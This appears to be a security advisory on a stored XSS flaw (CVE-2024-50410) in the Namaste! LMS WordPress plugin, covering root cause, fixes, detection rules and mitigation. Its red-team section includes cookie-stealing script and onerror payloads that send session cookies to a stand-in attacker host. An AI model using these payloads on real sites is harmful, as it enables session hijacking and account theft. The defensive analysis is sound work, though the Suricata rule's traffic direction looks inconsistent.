CVE-2024-50410

Executive Summary

CVE-2024-50410 is a Stored Cross-Site Scripting (XSS) vulnerability in the Namaste! LMS WordPress plugin by Kibokolabs, affecting versions up to and including 2.6.4. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject malicious JavaScript into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.5) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. WordPress plugins are distributed via the official WordPress Plugin Directory or third-party marketplaces. Users must manually update the plugin; no automatic patch mechanism exists. The lack of a patch from the vendor increases supply chain risk, as site administrators must rely on custom mitigations or plugin replacement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the stored nature of the XSS allows persistent attacks against multiple users.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the namaste-lms plugin. Specifically, the plugin fails to sanitize or escape data when rendering user-generated content (e.g., lesson descriptions, assignment submissions, or forum posts). An attacker with contributor-level access can inject arbitrary HTML and JavaScript into these fields. When an administrator or other user views the affected page, the injected script executes in the context of the victim's session.

Root Cause: The plugin uses echo or print functions without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows raw HTML/JavaScript to be stored in the database and rendered unsafely.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a lesson, assignment, or other content.
3. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a text field.
4. The payload is stored in the WordPress database.
5. Administrator or other user views the compromised page.
6. The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch exists, the following demonstrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (example from namaste-lms):

// In a template file or function
echo $lesson_description; // Unsafe output

Patched Code (hypothetical):

// Safe output using WordPress escaping
echo esc_html( $lesson_description );
// Or for rich content:
echo wp_kses_post( $lesson_description );

The vulnerable code directly outputs user-supplied data without escaping, allowing XSS. The patched version uses esc_html() to neutralize HTML tags or wp_kses_post() to allow only safe HTML.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Namaste! LMS <= 2.6.4.
• Contributor-level user account.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to a page where you can create/edit content (e.g., Lessons > Add New).
3. In the description field, inject a payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the lesson.
5. Wait for an administrator to view the lesson. The script will execute and send the admin's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+document.cookie)">

Blue Team (Defensive)

Detection:

• Monitor for unusual content in lesson descriptions, assignments, or forum posts.
• Look for <script>, <iframe>, or onerror attributes in user-generated content.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Mitigation:

• Disable the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified plugin files (e.g., namaste-lms/ directory) containing injected code.
• Database: Entries in wp_posts or wp_postmeta containing <script> tags or event handlers.
• Logs: WordPress debug logs showing unexpected PHP errors related to output escaping.

Detection Engineering

YARA Rule

rule Detect_Namaste_LMS_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Namaste! LMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50410"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Namaste! LMS Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Namaste! LMS plugin content
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/admin-ajax.php
        http.body|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-50410 Stored XSS in Namaste! LMS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Restrict user roles – Only allow trusted users to create/edit content.
3. Implement CSP – Add Content-Security-Policy: script-src 'self' header.
4. Monitor logs – Check for suspicious POST requests to admin-ajax.php.

Long-Term Fix:

• Apply input validation and output escaping to all user-supplied data.
• Use WordPress functions like esc_html(), esc_attr(), and wp_kses_post().
• Consider replacing the plugin with an actively maintained alternative.

Vendor Contact:

• Attempt to contact Kibokolabs via their website or plugin page.
• If no response, report to WordPress Plugin Security Team.

Valters IT